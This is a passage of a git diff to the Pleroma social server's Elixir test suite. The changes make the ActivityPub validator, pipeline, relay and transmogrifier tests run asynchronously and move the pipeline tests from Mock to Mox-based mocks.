	%{user: user, valid_block: valid_block}
	end

	test "validates a basic object", %{
	valid_block: valid_block
	} do
	assert {:ok, _block, []} = ObjectValidator.validate(valid_block, [])
	end

	test "returns an error if we don't know the blocked user", %{
	valid_block: valid_block
	} do
	block =
	valid_block
	\|> Map.put("object", "https://gensokyo.2hu/users/raymoo")

	assert {:error, _cng} = ObjectValidator.validate(block, [])
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs
	index 02683b899..57de83c8a 100644
	--- a/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs
	@@ -1,106 +1,106 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.DeleteValidationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Object
	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "deletes" do
	setup do
	user = insert(:user)
	{:ok, post_activity} = CommonAPI.post(user, %{status: "cancel me daddy"})

	{:ok, valid_post_delete, _} = Builder.delete(user, post_activity.data["object"])
	{:ok, valid_user_delete, _} = Builder.delete(user, user.ap_id)

	%{user: user, valid_post_delete: valid_post_delete, valid_user_delete: valid_user_delete}
	end

	test "it is valid for a post deletion", %{valid_post_delete: valid_post_delete} do
	{:ok, valid_post_delete, _} = ObjectValidator.validate(valid_post_delete, [])

	assert valid_post_delete["deleted_activity_id"]
	end

	test "it is invalid if the object isn't in a list of certain types", %{
	valid_post_delete: valid_post_delete
	} do
	object = Object.get_by_ap_id(valid_post_delete["object"])

	data =
	object.data
	\|> Map.put("type", "Like")

	{:ok, _object} =
	object
	\|> Ecto.Changeset.change(%{data: data})
	\|> Object.update_and_set_cache()

	{:error, cng} = ObjectValidator.validate(valid_post_delete, [])
	assert {:object, {"object not in allowed types", []}} in cng.errors
	end

	test "it is valid for a user deletion", %{valid_user_delete: valid_user_delete} do
	assert match?({:ok, _, _}, ObjectValidator.validate(valid_user_delete, []))
	end

	test "it's invalid if the id is missing", %{valid_post_delete: valid_post_delete} do
	no_id =
	valid_post_delete
	\|> Map.delete("id")

	{:error, cng} = ObjectValidator.validate(no_id, [])

	assert {:id, {"can't be blank", [validation: :required]}} in cng.errors
	end

	test "it's invalid if the object doesn't exist", %{valid_post_delete: valid_post_delete} do
	missing_object =
	valid_post_delete
	\|> Map.put("object", "http://does.not/exist")

	{:error, cng} = ObjectValidator.validate(missing_object, [])

	assert {:object, {"can't find object", []}} in cng.errors
	end

	test "it's invalid if the actor of the object and the actor of delete are from different domains",
	%{valid_post_delete: valid_post_delete} do
	valid_user = insert(:user)

	valid_other_actor =
	valid_post_delete
	\|> Map.put("actor", valid_user.ap_id)

	assert match?({:ok, _, _}, ObjectValidator.validate(valid_other_actor, []))

	invalid_other_actor =
	valid_post_delete
	\|> Map.put("actor", "https://gensokyo.2hu/users/raymoo")

	{:error, cng} = ObjectValidator.validate(invalid_other_actor, [])

	assert {:actor, {"is not allowed to modify object", []}} in cng.errors
	end

	test "it's valid if the actor of the object is a local superuser",
	%{valid_post_delete: valid_post_delete} do
	user =
	insert(:user, local: true, is_moderator: true, ap_id: "https://gensokyo.2hu/users/raymoo")

	valid_other_actor =
	valid_post_delete
	\|> Map.put("actor", user.ap_id)

	{:ok, _, meta} = ObjectValidator.validate(valid_other_actor, [])
	assert meta[:do_not_federate]
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs
	index 582e6d785..342cfeef8 100644
	--- a/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs
	@@ -1,53 +1,53 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.EmojiReactHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "EmojiReacts" do
	setup do
	user = insert(:user)
	{:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"})

	object = Pleroma.Object.get_by_ap_id(post_activity.data["object"])

	{:ok, valid_emoji_react, []} = Builder.emoji_react(user, object, "👌")

	%{user: user, post_activity: post_activity, valid_emoji_react: valid_emoji_react}
	end

	test "it validates a valid EmojiReact", %{valid_emoji_react: valid_emoji_react} do
	assert {:ok, _, _} = ObjectValidator.validate(valid_emoji_react, [])
	end

	test "it is not valid without a 'content' field", %{valid_emoji_react: valid_emoji_react} do
	without_content =
	valid_emoji_react
	\|> Map.delete("content")

	{:error, cng} = ObjectValidator.validate(without_content, [])

	refute cng.valid?
	assert {:content, {"can't be blank", [validation: :required]}} in cng.errors
	end

	test "it is not valid with a non-emoji content field", %{valid_emoji_react: valid_emoji_react} do
	without_emoji_content =
	valid_emoji_react
	\|> Map.put("content", "x")

	{:error, cng} = ObjectValidator.validate(without_emoji_content, [])

	refute cng.valid?

	assert {:content, {"must be a single character emoji", []}} in cng.errors
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs
	index 6e1378be2..0f77ac8df 100644
	--- a/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs
	@@ -1,26 +1,26 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.FollowValidationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator

	import Pleroma.Factory

	describe "Follows" do
	setup do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, valid_follow, []} = Builder.follow(follower, followed)
	%{follower: follower, followed: followed, valid_follow: valid_follow}
	end

	test "validates a basic follow object", %{valid_follow: valid_follow} do
	assert {:ok, _follow, []} = ObjectValidator.validate(valid_follow, [])
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs
	index 2c033b7e2..4cda3742d 100644
	--- a/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs
	@@ -1,113 +1,113 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.LikeValidationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.ObjectValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.LikeValidator
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "likes" do
	setup do
	user = insert(:user)
	{:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"})

	valid_like = %{
	"to" => [user.ap_id],
	"cc" => [],
	"type" => "Like",
	"id" => Utils.generate_activity_id(),
	"object" => post_activity.data["object"],
	"actor" => user.ap_id,
	"context" => "a context"
	}

	%{valid_like: valid_like, user: user, post_activity: post_activity}
	end

	test "returns ok when called in the ObjectValidator", %{valid_like: valid_like} do
	{:ok, object, _meta} = ObjectValidator.validate(valid_like, [])

	assert "id" in Map.keys(object)
	end

	test "is valid for a valid object", %{valid_like: valid_like} do
	assert LikeValidator.cast_and_validate(valid_like).valid?
	end

	test "sets the 'to' field to the object actor if no recipients are given", %{
	valid_like: valid_like,
	user: user
	} do
	without_recipients =
	valid_like
	\|> Map.delete("to")

	{:ok, object, _meta} = ObjectValidator.validate(without_recipients, [])

	assert object["to"] == [user.ap_id]
	end

	test "sets the context field to the context of the object if no context is given", %{
	valid_like: valid_like,
	post_activity: post_activity
	} do
	without_context =
	valid_like
	\|> Map.delete("context")

	{:ok, object, _meta} = ObjectValidator.validate(without_context, [])

	assert object["context"] == post_activity.data["context"]
	end

	test "it errors when the actor is missing or not known", %{valid_like: valid_like} do
	without_actor = Map.delete(valid_like, "actor")

	refute LikeValidator.cast_and_validate(without_actor).valid?

	with_invalid_actor = Map.put(valid_like, "actor", "invalidactor")

	refute LikeValidator.cast_and_validate(with_invalid_actor).valid?
	end

	test "it errors when the object is missing or not known", %{valid_like: valid_like} do
	without_object = Map.delete(valid_like, "object")

	refute LikeValidator.cast_and_validate(without_object).valid?

	with_invalid_object = Map.put(valid_like, "object", "invalidobject")

	refute LikeValidator.cast_and_validate(with_invalid_object).valid?
	end

	test "it errors when the actor has already like the object", %{
	valid_like: valid_like,
	user: user,
	post_activity: post_activity
	} do
	_like = CommonAPI.favorite(user, post_activity.id)

	refute LikeValidator.cast_and_validate(valid_like).valid?
	end

	test "it works when actor or object are wrapped in maps", %{valid_like: valid_like} do
	wrapped_like =
	valid_like
	\|> Map.put("actor", %{"id" => valid_like["actor"]})
	\|> Map.put("object", %{"id" => valid_like["object"]})

	validated = LikeValidator.cast_and_validate(wrapped_like)

	assert validated.valid?

	assert {:actor, valid_like["actor"]} in validated.changes
	assert {:object, valid_like["object"]} in validated.changes
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs
	index 370bb6e5c..69f5e8ac4 100644
	--- a/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs
	@@ -1,56 +1,56 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.RejectValidationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator
	alias Pleroma.Web.ActivityPub.Pipeline

	import Pleroma.Factory

	setup do
	follower = insert(:user)
	followed = insert(:user, local: false)

	{:ok, follow_data, _} = Builder.follow(follower, followed)
	{:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true)

	{:ok, reject_data, _} = Builder.reject(followed, follow_activity)

	%{reject_data: reject_data, followed: followed}
	end

	test "it validates a basic 'reject'", %{reject_data: reject_data} do
	assert {:ok, _, _} = ObjectValidator.validate(reject_data, [])
	end

	test "it fails when the actor doesn't exist", %{reject_data: reject_data} do
	reject_data =
	reject_data
	\|> Map.put("actor", "https://gensokyo.2hu/users/raymoo")

	assert {:error, _} = ObjectValidator.validate(reject_data, [])
	end

	test "it fails when the rejected activity doesn't exist", %{reject_data: reject_data} do
	reject_data =
	reject_data
	\|> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1")

	assert {:error, _} = ObjectValidator.validate(reject_data, [])
	end

	test "for an rejected follow, it only validates if the actor of the reject is the followed actor",
	%{reject_data: reject_data} do
	stranger = insert(:user)

	reject_data =
	reject_data
	\|> Map.put("actor", stranger.ap_id)

	assert {:error, _} = ObjectValidator.validate(reject_data, [])
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs
	index 75bbcc4b6..dc85d1ac3 100644
	--- a/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs
	@@ -1,53 +1,53 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.UndoHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "Undos" do
	setup do
	user = insert(:user)
	{:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"})
	{:ok, like} = CommonAPI.favorite(user, post_activity.id)
	{:ok, valid_like_undo, []} = Builder.undo(user, like)

	%{user: user, like: like, valid_like_undo: valid_like_undo}
	end

	test "it validates a basic like undo", %{valid_like_undo: valid_like_undo} do
	assert {:ok, _, _} = ObjectValidator.validate(valid_like_undo, [])
	end

	test "it does not validate if the actor of the undo is not the actor of the object", %{
	valid_like_undo: valid_like_undo
	} do
	other_user = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo")

	bad_actor =
	valid_like_undo
	\|> Map.put("actor", other_user.ap_id)

	{:error, cng} = ObjectValidator.validate(bad_actor, [])

	assert {:actor, {"not the same as object actor", []}} in cng.errors
	end

	test "it does not validate if the object is missing", %{valid_like_undo: valid_like_undo} do
	missing_object =
	valid_like_undo
	\|> Map.put("object", "https://gensokyo.2hu/objects/1")

	{:error, cng} = ObjectValidator.validate(missing_object, [])

	assert {:object, {"can't find object", []}} in cng.errors
	assert length(cng.errors) == 1
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs
	index 5e80cf731..2c4a50bfd 100644
	--- a/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs
	@@ -1,44 +1,44 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.UpdateHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator

	import Pleroma.Factory

	describe "updates" do
	setup do
	user = insert(:user)

	object = %{
	"id" => user.ap_id,
	"name" => "A new name",
	"summary" => "A new bio"
	}

	{:ok, valid_update, []} = Builder.update(user, object)

	%{user: user, valid_update: valid_update}
	end

	test "validates a basic object", %{valid_update: valid_update} do
	assert {:ok, _update, []} = ObjectValidator.validate(valid_update, [])
	end

	test "returns an error if the object can't be updated by the actor", %{
	valid_update: valid_update
	} do
	other_user = insert(:user)

	update =
	valid_update
	\|> Map.put("actor", other_user.ap_id)

	assert {:error, _cng} = ObjectValidator.validate(update, [])
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/pipeline_test.exs b/test/pleroma/web/activity_pub/pipeline_test.exs
	index 210a06563..d568d825b 100644
	--- a/test/pleroma/web/activity_pub/pipeline_test.exs
	+++ b/test/pleroma/web/activity_pub/pipeline_test.exs
	@@ -1,179 +1,94 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.PipelineTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	- import Mock
	+ import Mox
	import Pleroma.Factory

	+ alias Pleroma.ConfigMock
	+ alias Pleroma.Web.ActivityPub.ActivityPubMock
	+ alias Pleroma.Web.ActivityPub.MRFMock
	+ alias Pleroma.Web.ActivityPub.ObjectValidatorMock
	+ alias Pleroma.Web.ActivityPub.SideEffectsMock
	+ alias Pleroma.Web.FederatorMock
	+
	+ setup :verify_on_exit!
	+
	describe "common_pipeline/2" do
	setup do
	- clear_config([:instance, :federating], true)
	+ ObjectValidatorMock
	+ \|> expect(:validate, fn o, m -> {:ok, o, m} end)
	+
	+ MRFMock
	+ \|> expect(:pipeline_filter, fn o, m -> {:ok, o, m} end)
	+
	+ ActivityPubMock
	+ \|> expect(:persist, fn o, m -> {:ok, o, m} end)
	+
	+ SideEffectsMock
	+ \|> expect(:handle, fn o, m -> {:ok, o, m} end)
	+ \|> expect(:handle_after_transaction, fn m -> m end)
	+
	:ok
	end

	test "when given an `object_data` in meta, Federation will receive a the original activity with the `object` field set to this embedded object" do
	activity = insert(:note_activity)
	object = %{"id" => "1", "type" => "Love"}
	meta = [local: true, object_data: object]

	activity_with_object = %{activity \| data: Map.put(activity.data, "object", object)}

	- with_mocks([
	- {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]},
	- {
	- Pleroma.Web.ActivityPub.MRF,
	- [],
	- [pipeline_filter: fn o, m -> {:ok, o, m} end]
	- },
	- {
	- Pleroma.Web.ActivityPub.ActivityPub,
	- [],
	- [persist: fn o, m -> {:ok, o, m} end]
	- },
	- {
	- Pleroma.Web.ActivityPub.SideEffects,
	- [],
	- [
	- handle: fn o, m -> {:ok, o, m} end,
	- handle_after_transaction: fn m -> m end
	- ]
	- },
	- {
	- Pleroma.Web.Federator,
	- [],
	- [publish: fn _o -> :ok end]
	- }
	- ]) do
	- assert {:ok, ^activity, ^meta} =
	- Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta)
	-
	- assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta))
	- refute called(Pleroma.Web.Federator.publish(activity))
	- assert_called(Pleroma.Web.Federator.publish(activity_with_object))
	- end
	+ FederatorMock
	+ \|> expect(:publish, fn ^activity_with_object -> :ok end)
	+
	+ ConfigMock
	+ \|> expect(:get, fn [:instance, :federating] -> true end)
	+
	+ assert {:ok, ^activity, ^meta} =
	+ Pleroma.Web.ActivityPub.Pipeline.common_pipeline(
	+ activity,
	+ meta
	+ )
	end

	test "it goes through validation, filtering, persisting, side effects and federation for local activities" do
	activity = insert(:note_activity)
	meta = [local: true]

	- with_mocks([
	- {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]},
	- {
	- Pleroma.Web.ActivityPub.MRF,
	- [],
	- [pipeline_filter: fn o, m -> {:ok, o, m} end]
	- },
	- {
	- Pleroma.Web.ActivityPub.ActivityPub,
	- [],
	- [persist: fn o, m -> {:ok, o, m} end]
	- },
	- {
	- Pleroma.Web.ActivityPub.SideEffects,
	- [],
	- [
	- handle: fn o, m -> {:ok, o, m} end,
	- handle_after_transaction: fn m -> m end
	- ]
	- },
	- {
	- Pleroma.Web.Federator,
	- [],
	- [publish: fn _o -> :ok end]
	- }
	- ]) do
	- assert {:ok, ^activity, ^meta} =
	- Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta)
	-
	- assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta))
	- assert_called(Pleroma.Web.Federator.publish(activity))
	- end
	+ FederatorMock
	+ \|> expect(:publish, fn ^activity -> :ok end)
	+
	+ ConfigMock
	+ \|> expect(:get, fn [:instance, :federating] -> true end)
	+
	+ assert {:ok, ^activity, ^meta} =
	+ Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta)
	end

	test "it goes through validation, filtering, persisting, side effects without federation for remote activities" do
	activity = insert(:note_activity)
	meta = [local: false]

	- with_mocks([
	- {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]},
	- {
	- Pleroma.Web.ActivityPub.MRF,
	- [],
	- [pipeline_filter: fn o, m -> {:ok, o, m} end]
	- },
	- {
	- Pleroma.Web.ActivityPub.ActivityPub,
	- [],
	- [persist: fn o, m -> {:ok, o, m} end]
	- },
	- {
	- Pleroma.Web.ActivityPub.SideEffects,
	- [],
	- [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end]
	- },
	- {
	- Pleroma.Web.Federator,
	- [],
	- []
	- }
	- ]) do
	- assert {:ok, ^activity, ^meta} =
	- Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta)
	-
	- assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta))
	- end
	+ ConfigMock
	+ \|> expect(:get, fn [:instance, :federating] -> true end)
	+
	+ assert {:ok, ^activity, ^meta} =
	+ Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta)
	end

	test "it goes through validation, filtering, persisting, side effects without federation for local activities if federation is deactivated" do
	- clear_config([:instance, :federating], false)
	-
	activity = insert(:note_activity)
	meta = [local: true]

	- with_mocks([
	- {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]},
	- {
	- Pleroma.Web.ActivityPub.MRF,
	- [],
	- [pipeline_filter: fn o, m -> {:ok, o, m} end]
	- },
	- {
	- Pleroma.Web.ActivityPub.ActivityPub,
	- [],
	- [persist: fn o, m -> {:ok, o, m} end]
	- },
	- {
	- Pleroma.Web.ActivityPub.SideEffects,
	- [],
	- [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end]
	- },
	- {
	- Pleroma.Web.Federator,
	- [],
	- []
	- }
	- ]) do
	- assert {:ok, ^activity, ^meta} =
	- Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta)
	-
	- assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta))
	- assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta))
	- end
	+ ConfigMock
	+ \|> expect(:get, fn [:instance, :federating] -> false end)
	+
	+ assert {:ok, ^activity, ^meta} =
	+ Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta)
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/relay_test.exs b/test/pleroma/web/activity_pub/relay_test.exs
	index 3284980f7..a7cd732bb 100644
	--- a/test/pleroma/web/activity_pub/relay_test.exs
	+++ b/test/pleroma/web/activity_pub/relay_test.exs
	@@ -1,168 +1,168 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.RelayTest do
	use Pleroma.DataCase

	alias Pleroma.Activity
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Relay
	alias Pleroma.Web.CommonAPI

	import ExUnit.CaptureLog
	import Pleroma.Factory
	import Mock

	test "gets an actor for the relay" do
	user = Relay.get_actor()
	assert user.ap_id == "#{Pleroma.Web.Endpoint.url()}/relay"
	end

	test "relay actor is invisible" do
	user = Relay.get_actor()
	assert User.invisible?(user)
	end

	describe "follow/1" do
	test "returns errors when user not found" do
	assert capture_log(fn ->
	{:error, _} = Relay.follow("test-ap-id")
	end) =~ "Could not decode user at fetch"
	end

	test "returns activity" do
	user = insert(:user)
	service_actor = Relay.get_actor()
	assert {:ok, %Activity{} = activity} = Relay.follow(user.ap_id)
	assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay"
	assert user.ap_id in activity.recipients
	assert activity.data["type"] == "Follow"
	assert activity.data["actor"] == service_actor.ap_id
	assert activity.data["object"] == user.ap_id
	end
	end

	describe "unfollow/1" do
	test "returns errors when user not found" do
	assert capture_log(fn ->
	{:error, _} = Relay.unfollow("test-ap-id")
	end) =~ "Could not decode user at fetch"
	end

	test "returns activity" do
	user = insert(:user)
	service_actor = Relay.get_actor()
	CommonAPI.follow(service_actor, user)
	assert "#{user.ap_id}/followers" in User.following(service_actor)
	assert {:ok, %Activity{} = activity} = Relay.unfollow(user.ap_id)
	assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay"
	assert user.ap_id in activity.recipients
	assert activity.data["type"] == "Undo"
	assert activity.data["actor"] == service_actor.ap_id
	assert activity.data["to"] == [user.ap_id]
	refute "#{user.ap_id}/followers" in User.following(service_actor)
	end

	test "force unfollow when target service is dead" do
	user = insert(:user)
	user_ap_id = user.ap_id
	user_id = user.id

	Tesla.Mock.mock(fn %{method: :get, url: ^user_ap_id} ->
	%Tesla.Env{status: 404}
	end)

	service_actor = Relay.get_actor()
	CommonAPI.follow(service_actor, user)
	assert "#{user.ap_id}/followers" in User.following(service_actor)

	assert Pleroma.Repo.get_by(
	Pleroma.FollowingRelationship,
	follower_id: service_actor.id,
	following_id: user_id
	)

	Pleroma.Repo.delete(user)
	- Cachex.clear(:user_cache)
	+ User.invalidate_cache(user)

	assert {:ok, %Activity{} = activity} = Relay.unfollow(user_ap_id, %{force: true})

	assert refresh_record(service_actor).following_count == 0

	refute Pleroma.Repo.get_by(
	Pleroma.FollowingRelationship,
	follower_id: service_actor.id,
	following_id: user_id
	)

	assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay"
	assert user.ap_id in activity.recipients
	assert activity.data["type"] == "Undo"
	assert activity.data["actor"] == service_actor.ap_id
	assert activity.data["to"] == [user_ap_id]
	refute "#{user.ap_id}/followers" in User.following(service_actor)
	end
	end

	describe "publish/1" do
	setup do: clear_config([:instance, :federating])

	test "returns error when activity not `Create` type" do
	activity = insert(:like_activity)
	assert Relay.publish(activity) == {:error, "Not implemented"}
	end

	@tag capture_log: true
	test "returns error when activity not public" do
	activity = insert(:direct_note_activity)
	assert Relay.publish(activity) == {:error, false}
	end

	test "returns error when object is unknown" do
	activity =
	insert(:note_activity,
	data: %{
	"type" => "Create",
	"object" => "http://mastodon.example.org/eee/99541947525187367"
	}
	)

	Tesla.Mock.mock(fn
	%{method: :get, url: "http://mastodon.example.org/eee/99541947525187367"} ->
	%Tesla.Env{status: 500, body: ""}
	end)

	assert capture_log(fn ->
	assert Relay.publish(activity) == {:error, false}
	end) =~ "[error] error: false"
	end

	test_with_mock "returns announce activity and publish to federate",
	Pleroma.Web.Federator,
	[:passthrough],
	[] do
	clear_config([:instance, :federating], true)
	service_actor = Relay.get_actor()
	note = insert(:note_activity)
	assert {:ok, %Activity{} = activity} = Relay.publish(note)
	assert activity.data["type"] == "Announce"
	assert activity.data["actor"] == service_actor.ap_id
	assert activity.data["to"] == [service_actor.follower_address]
	assert called(Pleroma.Web.Federator.publish(activity))
	end

	test_with_mock "returns announce activity and not publish to federate",
	Pleroma.Web.Federator,
	[:passthrough],
	[] do
	clear_config([:instance, :federating], false)
	service_actor = Relay.get_actor()
	note = insert(:note_activity)
	assert {:ok, %Activity{} = activity} = Relay.publish(note)
	assert activity.data["type"] == "Announce"
	assert activity.data["actor"] == service_actor.ap_id
	refute called(Pleroma.Web.Federator.publish(activity))
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs
	index 485216487..d356fcc72 100644
	--- a/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs
	@@ -1,91 +1,91 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier.AcceptHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	test "it works for incoming accepts which were pre-accepted" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, follower, followed} = User.follow(follower, followed)
	assert User.following?(follower, followed) == true

	{:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed)

	accept_data =
	File.read!("test/fixtures/mastodon-accept-activity.json")
	\|> Jason.decode!()
	\|> Map.put("actor", followed.ap_id)

	object =
	accept_data["object"]
	\|> Map.put("actor", follower.ap_id)
	\|> Map.put("id", follow_activity.data["id"])

	accept_data = Map.put(accept_data, "object", object)

	{:ok, activity} = Transmogrifier.handle_incoming(accept_data)
	refute activity.local

	assert activity.data["object"] == follow_activity.data["id"]

	assert activity.data["id"] == accept_data["id"]

	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, followed) == true
	end

	test "it works for incoming accepts which are referenced by IRI only" do
	follower = insert(:user)
	followed = insert(:user, is_locked: true)

	{:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed)

	accept_data =
	File.read!("test/fixtures/mastodon-accept-activity.json")
	\|> Jason.decode!()
	\|> Map.put("actor", followed.ap_id)
